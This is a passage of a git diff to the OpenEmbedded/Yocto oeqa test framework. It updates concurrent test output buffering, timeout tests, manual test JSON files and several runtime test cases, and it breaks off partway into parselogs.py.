+ self.skipTest("This test needs to be skipped, so that testTimeoutDepends()'s OETestDepends kicks in")
+
+ @OETestDepends(["timeout.TimeoutTest.testTimeoutSkip"])
+ @OETimeout(3)
+ def testTimeoutDepends(self):
+ self.assertTrue(False, msg='How is this possible?')
+
+ def testTimeoutUnrelated(self):
+ sleep(6)
diff --git a/meta/lib/oeqa/core/tests/test_data.py b/meta/lib/oeqa/core/tests/test_data.py
index ac74098b78..acd726f3a0 100755
--- a/meta/lib/oeqa/core/tests/test_data.py
+++ b/meta/lib/oeqa/core/tests/test_data.py
@@ -33,7 +33,7 @@ class TestData(TestBase):
def test_data_fail_wrong_variable(self):
expectedError = 'AssertionError'
- d = {'IMAGE' : 'core-image-sato', 'ARCH' : 'arm'}
+ d = {'IMAGE' : 'core-image-weston', 'ARCH' : 'arm'}
tc = self._testLoader(d=d, modules=self.modules)
results = tc.runTests()
diff --git a/meta/lib/oeqa/core/tests/test_decorators.py b/meta/lib/oeqa/core/tests/test_decorators.py
index b798bf7d33..5095f39948 100755
--- a/meta/lib/oeqa/core/tests/test_decorators.py
+++ b/meta/lib/oeqa/core/tests/test_decorators.py
@@ -133,5 +133,11 @@ class TestTimeoutDecorator(TestBase):
msg = "OETestTimeout didn't restore SIGALRM"
self.assertIs(alarm_signal, signal.getsignal(signal.SIGALRM), msg=msg)
+ def test_timeout_cancel(self):
+ tests = ['timeout.TimeoutTest.testTimeoutSkip', 'timeout.TimeoutTest.testTimeoutDepends', 'timeout.TimeoutTest.testTimeoutUnrelated']
+ msg = 'Unrelated test failed to complete'
+ tc = self._testLoader(modules=self.modules, tests=tests)
+ self.assertTrue(tc.runTests().wasSuccessful(), msg=msg)
+
if __name__ == '__main__':
unittest.main()
diff --git a/meta/lib/oeqa/core/utils/concurrencytest.py b/meta/lib/oeqa/core/utils/concurrencytest.py
index b2eb68fb02..161a2f6e90 100644
--- a/meta/lib/oeqa/core/utils/concurrencytest.py
+++ b/meta/lib/oeqa/core/utils/concurrencytest.py
@@ -48,11 +48,15 @@ _all__ = [
#
class BBThreadsafeForwardingResult(ThreadsafeForwardingResult):
- def __init__(self, target, semaphore, threadnum, totalinprocess, totaltests):
+ def __init__(self, target, semaphore, threadnum, totalinprocess, totaltests, output, finalresult):
super(BBThreadsafeForwardingResult, self).__init__(target, semaphore)
self.threadnum = threadnum
self.totalinprocess = totalinprocess
self.totaltests = totaltests
+ self.buffer = True
+ self.outputbuf = output
+ self.finalresult = finalresult
+ self.finalresult.buffer = True
def _add_result_with_semaphore(self, method, test, *args, **kwargs):
self.semaphore.acquire()
@@ -71,6 +75,8 @@ class BBThreadsafeForwardingResult(ThreadsafeForwardingResult):
test.id())
finally:
self.semaphore.release()
+ self.finalresult._stderr_buffer = io.StringIO(initial_value=self.outputbuf.getvalue().decode("utf-8"))
+ self.finalresult._stdout_buffer = io.StringIO()
super(BBThreadsafeForwardingResult, self)._add_result_with_semaphore(method, test, *args, **kwargs)
class ProxyTestResult:
@@ -190,28 +196,20 @@ class ConcurrentTestSuite(unittest.TestSuite):
self.removefunc = removefunc
def run(self, result):
- tests, totaltests = fork_for_tests(self.processes, self)
+ testservers, totaltests = fork_for_tests(self.processes, self)
try:
threads = {}
queue = Queue()
semaphore = threading.Semaphore(1)
result.threadprogress = {}
- for i, (test, testnum) in enumerate(tests):
+ for i, (testserver, testnum, output) in enumerate(testservers):
result.threadprogress[i] = []
process_result = BBThreadsafeForwardingResult(
ExtraResultsDecoderTestResult(result),
- semaphore, i, testnum, totaltests)
- # Force buffering of stdout/stderr so the console doesn't get corrupted by test output
- # as per default in parent code
- process_result.buffer = True
- # We have to add a buffer object to stdout to keep subunit happy
- process_result._stderr_buffer = io.StringIO()
- process_result._stderr_buffer.buffer = dummybuf(process_result._stderr_buffer)
- process_result._stdout_buffer = io.StringIO()
- process_result._stdout_buffer.buffer = dummybuf(process_result._stdout_buffer)
+ semaphore, i, testnum, totaltests, output, result)
reader_thread = threading.Thread(
- target=self._run_test, args=(test, process_result, queue))
- threads[test] = reader_thread, process_result
+ target=self._run_test, args=(testserver, process_result, queue))
+ threads[testserver] = reader_thread, process_result
reader_thread.start()
while threads:
finished_test = queue.get()
@@ -222,13 +220,13 @@ class ConcurrentTestSuite(unittest.TestSuite):
process_result.stop()
raise
finally:
- for test in tests:
- test[0]._stream.close()
+ for testserver in testservers:
+ testserver[0]._stream.close()
- def _run_test(self, test, process_result, queue):
+ def _run_test(self, testserver, process_result, queue):
try:
try:
- test.run(process_result)
+ testserver.run(process_result)
except Exception:
# The run logic itself failed
case = testtools.ErrorHolder(
@@ -236,10 +234,10 @@ class ConcurrentTestSuite(unittest.TestSuite):
error=sys.exc_info())
case.run(process_result)
finally:
- queue.put(test)
+ queue.put(testserver)
def fork_for_tests(concurrency_num, suite):
- result = []
+ testservers = []
if 'BUILDDIR' in os.environ:
selftestdir = get_test_layer()
@@ -273,10 +271,11 @@ def fork_for_tests(concurrency_num, suite):
newsi = os.open(os.devnull, os.O_RDWR)
os.dup2(newsi, sys.stdin.fileno())
+ # Send stdout/stderr over the stream
+ os.dup2(c2pwrite, sys.stdout.fileno())
+ os.dup2(c2pwrite, sys.stderr.fileno())
+
subunit_client = TestProtocolClient(stream)
- # Force buffering of stdout/stderr so the console doesn't get corrupted by test output
- # as per default in parent code
- subunit_client.buffer = True
subunit_result = AutoTimingTestResultDecorator(subunit_client)
unittest_result = process_suite.run(ExtraResultsEncoderTestResult(subunit_result))
if ourpid != os.getpid():
@@ -306,9 +305,11 @@ def fork_for_tests(concurrency_num, suite):
else:
os.close(c2pwrite)
stream = os.fdopen(c2pread, 'rb', 1)
- test = ProtocolTestCase(stream)
- result.append((test, numtests))
- return result, totaltests
+ # Collect stdout/stderr into an io buffer
+ output = io.BytesIO()
+ testserver = ProtocolTestCase(stream, passthrough=output)
+ testservers.append((testserver, numtests, output))
+ return testservers, totaltests
def partition_tests(suite, count):
# Keep tests from the same class together but allow tests from modules
diff --git a/meta/lib/oeqa/files/testresults/testresults.json b/meta/lib/oeqa/files/testresults/testresults.json
index 1a62155618..86e5e412af 100644
--- a/meta/lib/oeqa/files/testresults/testresults.json
+++ b/meta/lib/oeqa/files/testresults/testresults.json
@@ -1,5 +1,5 @@
{
- "runtime_core-image-minimal_qemuarm_20181225195701": {
+ "runtime_core-image-minimal:qemuarm_20181225195701": {
"configuration": {
"DISTRO": "poky",
"HOST_DISTRO": "ubuntu-16.04",
diff --git a/meta/lib/oeqa/manual/bsp-hw.json b/meta/lib/oeqa/manual/bsp-hw.json
index 75b89758cb..ca91987e31 100644
--- a/meta/lib/oeqa/manual/bsp-hw.json
+++ b/meta/lib/oeqa/manual/bsp-hw.json
@@ -61,70 +61,6 @@
},
{
"test": {
- "@alias": "bsps-hw.bsps-hw.boot_from_runlevel_3",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Boot into system and edit /etc/inittab to make sure that system enter at the run level 3 by default, this is done by changing the line \n\n\nid:5:initdefault \n\nto \n\nid:3:initdefault \n\n",
- "expected_results": ""
- },
- "2": {
- "action": "Reboot system, and press \"Tab\" to enter \"grub\"",
- "expected_results": ""
- },
- "3": {
- "action": "Get into the \"kernel\" line with the edit option \"e\" and add \"psplash=false text\" at the end line.",
- "expected_results": ""
- },
- "4": {
- "action": "Press \"F10\" or \"ctrl+x\" to boot system",
- "expected_results": ""
- },
- "5": {
- "action": "If system ask you for a login type \"root\"",
- "expected_results": "System should boot to run level 3, showing the command prompt."
- }
- },
- "summary": "boot_from_runlevel_3"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.boot_from_runlevel_5",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Boot into system and edit /etc/inittab to make sure that system enter at the run level 5 by default, this is done by changing the line \n\nid:3:initdefault \n\nto \n\nid:5:initdefault \n\n",
- "expected_results": ""
- },
- "2": {
- "action": "Reboot system, and press \"Tab\" to enter \"grub\"",
- "expected_results": ""
- },
- "3": {
- "action": "Get into the \"kernel\" line with the edit option \"e\" and add \"psplash=false text\" at the end line.",
- "expected_results": ""
- },
- "4": {
- "action": "Press \"F10\" or \"ctrl+x\" to boot system \nNote: The test is only for sato image.",
- "expected_results": "System should boot to runlevel 5 ."
- }
- },
- "summary": "boot_from_runlevel_5"
- }
- },
- {
- "test": {
"@alias": "bsps-hw.bsps-hw.switch_among_multi_applications_and_desktop",
"author": [
{
@@ -155,70 +91,6 @@
},
{
"test": {
- "@alias": "bsps-hw.bsps-hw.ethernet_static_ip_set_in_connman",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Boot the system and check internet connection is on . ",
- "expected_results": ""
- },
- "2": {
- "action": "Launch connmand-properties (up-right corner on desktop)",
- "expected_results": ""
- },
- "3": {
- "action": "Choose Ethernet device and set a valid static ip address for it. \nFor example, in our internal network, we can set as following: \nip address: 10.239.48.xxx \nMask: 255.255.255.0 \nGateway (Broadcast): 10.239.48.255",
- "expected_results": ""
- },
- "4": {
- "action": "Check the Network configuration with \"ifconfig\"",
- "expected_results": "Static IP was set successfully \n"
- },
- "5": {
- "action": "ping to another IP adress",
- "expected_results": "Ping works correclty\n"
- }
- },
- "summary": "ethernet_static_ip_set_in_connman"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.ethernet_get_IP_in_connman_via_DHCP",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Launch connmand-properties (up-right corner on your desktop). ",
- "expected_results": ""
- },
- "2": {
- "action": "Check if Ethernet device can work properly with static IP, doing \"ping XXX.XXX.XXX.XXX\", once this is set.",
- "expected_results": "Ping executed successfully . \n\n"
- },
- "3": {
- "action": "Then choose DHCP method for Ethernet device in connmand-properties.",
- "expected_results": ""
- },
- "4": {
- "action": "Check with 'ifconfig\" and \"ping\" if Ethernet device get IP address via DHCP.",
- "expected_results": "Ethernet device can get dynamic IP address via DHCP in connmand ."
- }
- },
- "summary": "ethernet_get_IP_in_connman_via_DHCP"
- }
- },
- {
- "test": {
"@alias": "bsps-hw.bsps-hw.connman_offline_mode_in_connman-gnome",
"author": [
{
@@ -241,40 +113,6 @@
},
{
"test": {
- "@alias": "bsps-hw.bsps-hw.standby",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system and launch terminal; check output of \"date\" and launch script \"continue.sh\"",
- "expected_results": ""
- },
- "2": {
- "action": "echo \"mem\" > /sys/power/state",
- "expected_results": ""
- },
- "3": {
- "action": "After system go into S3 mode, move mouse or press any key to make it resume (on NUC press power button)",
- "expected_results": ""
- },
- "4": {
- "action": "Check \"date\" and script \"continue.sh\"",
- "expected_results": ""
- },
- "5": {
- "action": "Check if application can work as normal \ncontinue.sh as below: \n \n#!/bin/sh \n \ni=1 \nwhile [ 0 ] \ndo \n echo $i \n sleep 1 \n i=$((i+1)) \ndone ",
- "expected_results": "Screen should resume back and script can run continuously incrementing the i's value from where it was before going to standby state. Date should be the same with the corresponding time increment."
- }
- },
- "summary": "standby"
- }
- },
- {
- "test": {
"@alias": "bsps-hw.bsps-hw.check_CPU_utilization_after_standby",
"author": [
{
@@ -305,88 +143,6 @@
},
{
"test": {
- "@alias": "bsps-hw.bsps-hw.Test_if_LAN_device_works_well_after_resume_from_suspend_state",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system and launch terminal",
- "expected_results": ""
- },
- "2": {
- "action": "echo \"mem\" > /sys/power/state",
- "expected_results": ""
- },
- "3": {
- "action": "After system go into S3 mode, move mouse or press any key to make it resume",
- "expected_results": ""
- },
- "4": {
- "action": "check ping status \n\nNote: This TC apply only for core-image-full-cmd.",
- "expected_results": "ping should always work before/after standby"
- }
- },
- "summary": "Test_if_LAN_device_works_well_after_resume_from_suspend_state"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.Test_if_usb_hid_device_works_well_after_resume_from_suspend_state",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "boot system and launch terminal",
- "expected_results": ""
- },
- "2": {
- "action": "echo \"mem\" > /sys/power/state",
- "expected_results": ""
- },
- "3": {
- "action": "After system go into S3 mode, resume the device by pressing the power button or using HID devices",
- "expected_results": "Devices resumes "
- },
- "4": {
- "action": "check usb mouse and keyboard",
- "expected_results": "Usb mouse and keyboard should work"
- }
- },
- "summary": "Test_if_usb_hid_device_works_well_after_resume_from_suspend_state"
- }
- },
- {
- "test": {
- "@alias": "bsps-hw.bsps-hw.click_terminal_icon_on_X_desktop",
- "author": [
- {
- "email": "alexandru.c.georgescu@intel.com",
- "name": "alexandru.c.georgescu@intel.com"
- }
- ],
- "execution": {
- "1": {
- "action": "After system launch and X start up, click terminal icon on desktop",
- "expected_results": ""
- },
- "2": {
- "action": "Check if only one terminal window launched and no other problem met",
- "expected_results": "There should be no problem after launching terminal . "
- }
- },
- "summary": "click_terminal_icon_on_X_desktop"
- }
- },
- {
- "test": {
"@alias": "bsps-hw.bsps-hw.Add_multiple_files_in_media_player",
"author": [
{
@@ -839,40 +595,6 @@
},
{
"test": {
- "@alias": "bsps-hw.bsps-hw.Check_if_RTC_(Real_Time_Clock)_can_work_correctly",
- "author": [
- {
- "email": "yi.zhao@windriver.com",
- "name": "yi.zhao@windriver.com"
- }
- ],
- "execution": {
- "1": {
- "action": "Read time from RTC registers. root@localhost:/root> hwclock -r Sun Mar 22 04:05:47 1970 -0.001948 seconds ",
- "expected_results": "Can read and set the time from RTC.\n"
- },
- "2": {
- "action": "Set system current time root@localhost:/root> date 062309452008 ",
- "expected_results": ""
- },
- "3": {
- "action": "Synchronize the system current time to RTC registers root@localhost:/root> hwclock -w ",
- "expected_results": ""
- },
- "4": {
- "action": "Read time from RTC registers root@localhost:/root> hwclock -r ",
- "expected_results": ""
- },
- "5": {
- "action": "Reboot target and read time from RTC again\n",
- "expected_results": ""
- }
- },
- "summary": "Check_if_RTC_(Real_Time_Clock)_can_work_correctly"
- }
- },
- {
- "test": {
"@alias": "bsps-hw.bsps-hw.System_can_boot_up_via_NFS",
"author": [
{
diff --git a/meta/lib/oeqa/manual/build-appliance.json b/meta/lib/oeqa/manual/build-appliance.json
index 70f8c72c9b..82a556e93e 100644
--- a/meta/lib/oeqa/manual/build-appliance.json
+++ b/meta/lib/oeqa/manual/build-appliance.json
@@ -48,7 +48,7 @@
"expected_results": ""
},
"3": {
- "action": "Install a new package to the image, for example, acpid. Set the following line in conf/local.conf: IMAGE_INSTALL_append = \" acpid\"",
+ "action": "Install a new package to the image, for example, acpid. Set the following line in conf/local.conf: IMAGE_INSTALL:append = \" acpid\"",
"expected_results": ""
},
"4": {
diff --git a/meta/lib/oeqa/manual/eclipse-plugin.json b/meta/lib/oeqa/manual/eclipse-plugin.json
index d77d0e673b..6c110d0656 100644
--- a/meta/lib/oeqa/manual/eclipse-plugin.json
+++ b/meta/lib/oeqa/manual/eclipse-plugin.json
@@ -44,7 +44,7 @@
"expected_results": ""
},
"2": {
- "action": "wget autobuilder.yoctoproject.org/pub/releases//machines/qemu/qemux86/qemu (ex:core-image-sato-sdk-qemux86-date-rootfs-tar-bz2) \nsource /opt/poky/version/environment-setup-i585-poky-linux \n\nExtract qemu with runqemu-extract-sdk /home/user/file(ex.core-image-sato-sdk-qemux86.bz2) \n/home/user/qemux86-sato-sdk \n\n",
+ "action": "wget https://downloads.yoctoproject.org/releases/yocto/yocto-$VERSION/machines/qemu/qemux86/ (ex:core-image-sato-sdk-qemux86-date-rootfs-tar-bz2) \nsource /opt/poky/version/environment-setup-i585-poky-linux \n\nExtract qemu with runqemu-extract-sdk /home/user/file(ex.core-image-sato-sdk-qemux86.bz2) \n/home/user/qemux86-sato-sdk \n\n",
"expected_results": " Qemu can be lauched normally."
},
"3": {
@@ -60,7 +60,7 @@
"expected_results": ""
},
"6": {
- "action": "(d) QEMU: \nSelect this option if you will be using the QEMU emulator. Specify the Kernel matching the QEMU architecture you are using. \n wget autobuilder.yoctoproject.org/pub/releases//machines/qemu/qemux86/bzImage-qemux86.bin \n e.g: /home/$USER/yocto/adt-installer/download_image/bzImage-qemux86.bin \n\n",
+ "action": "(d) QEMU: \nSelect this option if you will be using the QEMU emulator. Specify the Kernel matching the QEMU architecture you are using. \n wget https://downloads.yoctoproject.org/releases/yocto/yocto-$VERSION/machines/qemu/qemux86/bzImage-qemux86.bin \n e.g: /home/$USER/yocto/adt-installer/download_image/bzImage-qemux86.bin \n\n",
"expected_results": ""
},
"7": {
@@ -247,7 +247,7 @@
"execution": {
"1": {
"action": "Clone eclipse-poky source. \n \n - git clone git://git.yoctoproject.org/eclipse-poky \n\n",
- "expected_results": "Eclipse plugin is successfully installed \n\nDocumentation is there. For example if you have release yocto-2.0.1 you will found on http://autobuilder.yoctoproject.org/pub/releases/yocto-2.0.1/eclipse-plugin/mars/ archive with documentation like org.yocto.doc-development-$date.zip \n \n"
+ "expected_results": "Eclipse plugin is successfully installed \n\nDocumentation is there. For example if you have release yocto-2.0.1 you will found on https://downloads.yoctoproject.org/releases/yocto/yocto-2.0.1/eclipse-plugin/mars/ archive with documentation like org.yocto.doc-development-$date.zip \n \n"
},
"2": {
"action": "Checkout correct tag. \n\n - git checkout <eclipse-version>/<yocto-version> \n\n",
diff --git a/meta/lib/oeqa/manual/oe-core.json b/meta/lib/oeqa/manual/oe-core.json
index fb47c5ec36..4ad524d89b 100644
--- a/meta/lib/oeqa/manual/oe-core.json
+++ b/meta/lib/oeqa/manual/oe-core.json
@@ -80,7 +80,7 @@
"expected_results": ""
},
"7": {
- "action": "Run command:./configure && make ",
+ "action": "Run command:./configure ${CONFIGUREOPTS} && make ",
"expected_results": "Verify that \"matchbox-desktop\" binary file was created successfully under \"src/\" directory "
},
"8": {
diff --git a/meta/lib/oeqa/manual/sdk.json b/meta/lib/oeqa/manual/sdk.json
index 434982f7f5..21d892d26d 100644
--- a/meta/lib/oeqa/manual/sdk.json
+++ b/meta/lib/oeqa/manual/sdk.json
@@ -26,7 +26,7 @@
"expected_results": "Expect both qemu to boot up successfully."
}
},
- "summary": "test_install_cross_toolchain_can_run_multiple_qemu_for_x86"
+ "summary": "test_install_cross_toolchain_can_run_multiple_qemu_for:x86"
}
}
] \ No newline at end of file
diff --git a/meta/lib/oeqa/manual/toaster-managed-mode.json b/meta/lib/oeqa/manual/toaster-managed-mode.json
index 12374c7c64..1a71985c3c 100644
--- a/meta/lib/oeqa/manual/toaster-managed-mode.json
+++ b/meta/lib/oeqa/manual/toaster-managed-mode.json
@@ -136,7 +136,7 @@
"expected_results": ""
},
"3": {
- "action": "Check that default values are as follows: \n\tDISTRO - poky \n\tIMAGE_FSTYPES - ext3 jffs2 tar.bz2 \n\tIMAGE_INSTALL_append - \"Not set\" \n\tPACKAGE_CLASES - package_rpm \n SSTATE_DIR - /homeDirectory/poky/sstate-cache \n\n",
+ "action": "Check that default values are as follows: \n\tDISTRO - poky \n\tIMAGE_FSTYPES - ext3 jffs2 tar.bz2 \n\tIMAGE_INSTALL:append - \"Not set\" \n\tPACKAGE_CLASSES - package_rpm \n SSTATE_DIR - /homeDirectory/poky/sstate-cache \n\n",
"expected_results": ""
},
"4": {
@@ -186,7 +186,7 @@
"expected_results": ""
},
"7": {
- "action": "IMAGE_INSTALL_append: \n\t- check that the \"change\" icon is present (represented by a pen icon) \n\t- click on the \"change\" icon and check that the variable becomes a text field, populated with the current value of the variable. \n\n\t- check that the save button is disabled when the text field is empty \n\t- insert test in the text field (for example \"package1\") and hit save; be aware that there is no input validation for this variable \n\t- check that a new \"delete\" icon(a trashcan) has appeared next to the pen icon \n\t- check that clicking on the trashcan icon resets the value to \"Not set\" and makes the trashcan icon dissapear \n\n",
+ "action": "IMAGE_INSTALL:append: \n\t- check that the \"change\" icon is present (represented by a pen icon) \n\t- click on the \"change\" icon and check that the variable becomes a text field, populated with the current value of the variable. \n\n\t- check that the save button is disabled when the text field is empty \n\t- insert test in the text field (for example \"package1\") and hit save; be aware that there is no input validation for this variable \n\t- check that a new \"delete\" icon(a trashcan) has appeared next to the pen icon \n\t- check that clicking on the trashcan icon resets the value to \"Not set\" and makes the trashcan icon dissapear \n\n",
"expected_results": ""
},
"8": {
@@ -1574,7 +1574,7 @@
"expected_results": "Open bitbake variables page. \n\n\t"
},
"5": {
- "action": "Click on change button for IMAGE_INSTALL_append and add a variable (ex: acpid). \n\n",
+ "action": "Click on change button for IMAGE_INSTALL:append and add a variable (ex: acpid). \n\n",
"expected_results": "Variable added. \n\n\t"
},
"6": {
@@ -1590,7 +1590,7 @@
"expected_results": "You should get results for ssh packages."
}
},
- "summary": "Test_IMAGE_INSTALL_append_variable"
+ "summary": "Test_IMAGE_INSTALL:append_variable"
}
},
{
@@ -2348,7 +2348,7 @@
"expected_results": ""
},
"3": {
- "action": "Build 6 recipes example (core-image-sato, core-image-minimal, core-image-base, core-image-clutter) to name a few. ",
+ "action": "Build 6 recipes example (core-image-sato, core-image-minimal, core-image-base) to name a few. ",
"expected_results": " All recipes are built correctly \n\n"
},
"4": {
@@ -2382,7 +2382,7 @@
"expected_results": ""
},
"3": {
- "action": "Build 6 recipes example (core-image-sato, core-image-minimal, core-image-base, core-image-clutter) to name a few. \n\n",
+ "action": "Build 6 recipes example (core-image-sato, core-image-minimal, core-image-base) to name a few. \n\n",
"expected_results": "All recipes are built correctly \n\n"
},
"4": {
@@ -2420,7 +2420,7 @@
"expected_results": ""
},
"3": {
- "action": "Build 4 recipes example (core-image-sato, core-image-minimal, core-image-base, core-image-clutter) to name a few. \n\n",
+ "action": "Build 4 recipes example (core-image-sato, core-image-minimal, core-image-base) to name a few. \n\n",
"expected_results": " All recipes are built correctly \n\n"
},
"4": {
@@ -2569,4 +2569,4 @@
"summary": "Download_task_log"
}
}
-] \ No newline at end of file
+]
diff --git a/meta/lib/oeqa/runtime/cases/date.py b/meta/lib/oeqa/runtime/cases/date.py
index fdd2a6ae58..bd6537400e 100644
--- a/meta/lib/oeqa/runtime/cases/date.py
+++ b/meta/lib/oeqa/runtime/cases/date.py
@@ -13,12 +13,12 @@ class DateTest(OERuntimeTestCase):
def setUp(self):
if self.tc.td.get('VIRTUAL-RUNTIME_init_manager') == 'systemd':
self.logger.debug('Stopping systemd-timesyncd daemon')
- self.target.run('systemctl disable --now systemd-timesyncd')
+ self.target.run('systemctl disable --now --runtime systemd-timesyncd')
def tearDown(self):
if self.tc.td.get('VIRTUAL-RUNTIME_init_manager') == 'systemd':
self.logger.debug('Starting systemd-timesyncd daemon')
- self.target.run('systemctl enable --now systemd-timesyncd')
+ self.target.run('systemctl enable --now --runtime systemd-timesyncd')
@OETestDepends(['ssh.SSHTest.test_ssh'])
@OEHasPackage(['coreutils', 'busybox'])
@@ -28,14 +28,13 @@ class DateTest(OERuntimeTestCase):
self.assertEqual(status, 0, msg=msg)
oldDate = output
- sampleDate = '"2016-08-09 10:00:00"'
- (status, output) = self.target.run("date -s %s" % sampleDate)
+ sampleTimestamp = 1488800000
+ (status, output) = self.target.run("date -s @%d" % sampleTimestamp)
self.assertEqual(status, 0, msg='Date set failed, output: %s' % output)
- (status, output) = self.target.run("date -R")
- p = re.match('Tue, 09 Aug 2016 10:00:.. \+0000', output)
+ (status, output) = self.target.run('date +"%s"')
msg = 'The date was not set correctly, output: %s' % output
- self.assertTrue(p, msg=msg)
+ self.assertTrue(int(output) - sampleTimestamp < 300, msg=msg)
(status, output) = self.target.run('date -s "%s"' % oldDate)
msg = 'Failed to reset date, output: %s' % output
diff --git a/meta/lib/oeqa/runtime/cases/df.py b/meta/lib/oeqa/runtime/cases/df.py
index 89fd0fb901..bb155c9cf9 100644
--- a/meta/lib/oeqa/runtime/cases/df.py
+++ b/meta/lib/oeqa/runtime/cases/df.py
@@ -4,12 +4,14 @@
from oeqa.runtime.case import OERuntimeTestCase
from oeqa.core.decorator.depends import OETestDepends
+from oeqa.core.decorator.data import skipIfDataVar, skipIfInDataVar
from oeqa.runtime.decorator.package import OEHasPackage
class DfTest(OERuntimeTestCase):
@OETestDepends(['ssh.SSHTest.test_ssh'])
@OEHasPackage(['coreutils', 'busybox'])
+ @skipIfInDataVar('IMAGE_FEATURES', 'read-only-rootfs', 'Test case df requires a writable rootfs')
def test_df(self):
cmd = "df -P / | sed -n '2p' | awk '{print $4}'"
(status,output) = self.target.run(cmd)
diff --git a/meta/lib/oeqa/runtime/cases/ethernet_ip_connman.py b/meta/lib/oeqa/runtime/cases/ethernet_ip_connman.py
new file mode 100644
index 0000000000..e010612838
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/ethernet_ip_connman.py
@@ -0,0 +1,36 @@
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.core.decorator.data import skipIfQemu
+
+class Ethernet_Test(OERuntimeTestCase):
+
+ def set_ip(self, x):
+ x = x.split(".")
+ sample_host_address = '150'
+ x[3] = sample_host_address
+ x = '.'.join(x)
+ return x
+
+ @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_set_virtual_ip(self):
+ (status, output) = self.target.run("ifconfig eth0 | grep 'inet ' | awk '{print $2}'")
+ self.assertEqual(status, 0, msg='Failed to get ip address. Make sure you have an ethernet connection on your device, output: %s' % output)
+ original_ip = output
+ virtual_ip = self.set_ip(original_ip)
+
+ (status, output) = self.target.run("ifconfig eth0:1 %s netmask 255.255.255.0 && sleep 2 && ping -c 5 %s && ifconfig eth0:1 down" % (virtual_ip,virtual_ip))
+ self.assertEqual(status, 0, msg='Failed to create virtual ip address, output: %s' % output)
+
+ @OETestDepends(['ethernet_ip_connman.Ethernet_Test.test_set_virtual_ip'])
+ def test_get_ip_from_dhcp(self):
+ (status, output) = self.target.run("connmanctl services | grep -E '*AO Wired|*AR Wired' | awk '{print $3}'")
+ self.assertEqual(status, 0, msg='No wired interfaces are detected, output: %s' % output)
+ wired_interfaces = output
+
+ (status, output) = self.target.run("ip route | grep default | awk '{print $3}'")
+ self.assertEqual(status, 0, msg='Failed to retrieve the default gateway, output: %s' % output)
+ default_gateway = output
+
+ (status, output) = self.target.run("connmanctl config %s --ipv4 dhcp && sleep 2 && ping -c 5 %s" % (wired_interfaces,default_gateway))
+ self.assertEqual(status, 0, msg='Failed to get dynamic IP address via DHCP in connmand, output: %s' % output) \ No newline at end of file
diff --git a/meta/lib/oeqa/runtime/cases/go.py b/meta/lib/oeqa/runtime/cases/go.py
new file mode 100644
index 0000000000..89ba2c3ecb
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/go.py
@@ -0,0 +1,19 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.runtime.decorator.package import OEHasPackage
+
+class GoHelloworldTest(OERuntimeTestCase):
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ @OEHasPackage(['go-helloworld'])
+ def test_gohelloworld(self):
+ cmd = "go-helloworld"
+ status, output = self.target.run(cmd)
+ msg = 'Exit status was not 0. Output: %s' % output
+ self.assertEqual(status, 0, msg=msg)
+
+ msg = 'Incorrect output: %s' % output
+ self.assertEqual(output, "Hello, Go examples!", msg=msg)
diff --git a/meta/lib/oeqa/runtime/cases/ksample.py b/meta/lib/oeqa/runtime/cases/ksample.py
index a9a1620ebd..c69e3fe4ac 100644
--- a/meta/lib/oeqa/runtime/cases/ksample.py
+++ b/meta/lib/oeqa/runtime/cases/ksample.py
@@ -10,7 +10,7 @@ from oeqa.core.decorator.depends import OETestDepends
from oeqa.core.decorator.data import skipIfNotFeature
# need some kernel fragments
-# echo "KERNEL_FEATURES_append += \" features\/kernel\-sample\/kernel\-sample.scc\"" >> local.conf
+# echo "KERNEL_FEATURES:append = \" features\/kernel\-sample\/kernel\-sample.scc\"" >> local.conf
class KSample(OERuntimeTestCase):
def cmd_and_check(self, cmd='', match_string=''):
status, output = self.target.run(cmd)
diff --git a/meta/lib/oeqa/runtime/cases/pam.py b/meta/lib/oeqa/runtime/cases/pam.py
index 271a1943e3..a482ded945 100644
--- a/meta/lib/oeqa/runtime/cases/pam.py
+++ b/meta/lib/oeqa/runtime/cases/pam.py
@@ -8,11 +8,14 @@
from oeqa.runtime.case import OERuntimeTestCase
from oeqa.core.decorator.depends import OETestDepends
from oeqa.core.decorator.data import skipIfNotFeature
+from oeqa.runtime.decorator.package import OEHasPackage
class PamBasicTest(OERuntimeTestCase):
@skipIfNotFeature('pam', 'Test requires pam to be in DISTRO_FEATURES')
@OETestDepends(['ssh.SSHTest.test_ssh'])
+ @OEHasPackage(['shadow'])
+ @OEHasPackage(['shadow-base'])
def test_pam(self):
status, output = self.target.run('login --help')
msg = ('login command does not work as expected. '
diff --git a/meta/lib/oeqa/runtime/cases/parselogs.py b/meta/lib/oeqa/runtime/cases/parselogs.py
index a1791b5cca..b81acdd18a 100644
--- a/meta/lib/oeqa/runtime/cases/parselogs.py
+++ b/meta/lib/oeqa/runtime/cases/parselogs.py
@@ -32,7 +32,7 @@ common_errors = [
